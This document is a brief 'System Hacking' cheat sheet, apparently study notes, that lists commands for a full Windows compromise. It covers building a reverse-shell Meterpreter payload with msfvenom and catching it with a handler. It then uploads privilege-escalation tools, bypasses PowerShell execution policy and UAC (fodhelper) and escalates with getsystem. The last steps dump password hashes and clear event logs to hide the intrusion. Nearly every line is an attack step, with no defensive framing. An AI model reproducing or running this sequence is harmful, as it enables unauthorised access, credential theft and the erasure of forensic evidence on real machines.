System Hacking.

Creating Payload and deployment

1. msfvenom -p windows/x64/meterpreter/reverse_tcp --platform windows -a x64 lhost=host.ip lport=444 -f exe > payload.exe
   Or
   msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x64 lhost=host.ip lport=444 -f exe > payload.exe
2. use multi/handler
   set lhost
   set lport
   set payload
   exploit
3. We get the Meterpreter Session.
4. #background //set the session to background

Privilage Escalation and Gaining Access

1. use above meterpreter connection
2. upload beRoot.exe
3. upload Seatbelt.exe
4. upload PowerUp.ps1
5. shell ---To get the Shell of victim machine.
6. beRoot.exe --To run the beRoot tool
7. Seatbelt.exe -group=system
8. powershell
9. powershell -ExecutionPolicy Bypass-Command ". .\PowerUp.ps1; Invoke-AllChecks" //This is to execute PowerUp.ps1 script
10. exit -exiting the shell
11. run vnc //To run the vnc
12. set session to background
13. use exploit/windows/local/bypassuac_fodhelper
14. set session 1
15. set payload windows/meterpreter/reverse_tcp
16. exploit
17. getuid //this is to see if you get the admin privilages or not

18. getsystem -t 1 //To get the System.
19. run post/windows/gather/smart_hashdump //to get the password hashes
20. clearev //To clear the logs.